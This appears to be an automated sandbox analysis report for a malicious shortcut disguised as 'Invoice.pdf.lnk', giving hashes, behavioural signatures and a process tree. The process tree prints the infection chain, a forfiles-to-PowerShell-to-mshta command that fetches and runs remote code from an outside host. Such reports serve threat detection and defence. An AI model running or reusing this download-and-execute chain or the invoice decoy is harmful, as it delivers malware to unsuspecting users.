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Analysis
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max time kernel
1200s -
max time network
1172s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
08/05/2024, 14:57
Static task
static1
Behavioral task
behavioral1
Sample
Invoice.pdf.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Invoice.pdf.lnk
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
Invoice.pdf.lnk
Resource
win10v2004-20240508-en
Behavioral task
behavioral4
Sample
Invoice.pdf.lnk
Resource
win11-20240426-en
General
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Target
Invoice.pdf.lnk
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Size
148KB
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MD5
12e2b5c70cc7ba659226a376dc3cc039
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SHA1
08f338109566d47a2c0b91e071fabc6781cbd167
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SHA256
31c7a17e9f518c9f55ecfaa428e069d9fc1c820c74ed53392bc1b219915438b3
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SHA512
b1e451265e4409ab4c1492ee5ca903b444d22604b8f0860bbf949107c92ee952f4fd94535116a202579ab75c12860657cb123d6371d1f54d39409c48b82ead31
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SSDEEP
24:8WEe6Dz358m+pyAWkr+/4zc+8PxZvBT0qdd79ds/Z6U/ab9Q9qFBm:8WENDzKvbc7nvBT7dJ9A6U/a5QW
Malware Config
Extracted
https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice
Signatures
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Blocklisted process makes network request 3 IoCs
flow pid Process 2 5112 mshta.exe 3 5112 mshta.exe 4 5112 mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1256 powershell.exe 1256 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1256 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3100 wrote to memory of 1524 3100 cmd.exe 79 PID 3100 wrote to memory of 1524 3100 cmd.exe 79 PID 1524 wrote to memory of 1256 1524 forfiles.exe 80 PID 1524 wrote to memory of 1256 1524 forfiles.exe 80 PID 1256 wrote to memory of 5112 1256 powershell.exe 81 PID 1256 wrote to memory of 5112 1256 powershell.exe 81
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.pdf.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:3100 -
C:\Windows\System32\forfiles.exe"C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m calc.exe /c "powershell . mshta https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice"2⤵
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe. mshta https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1256 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice4⤵
- Blocklisted process makes network request
PID:5112
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82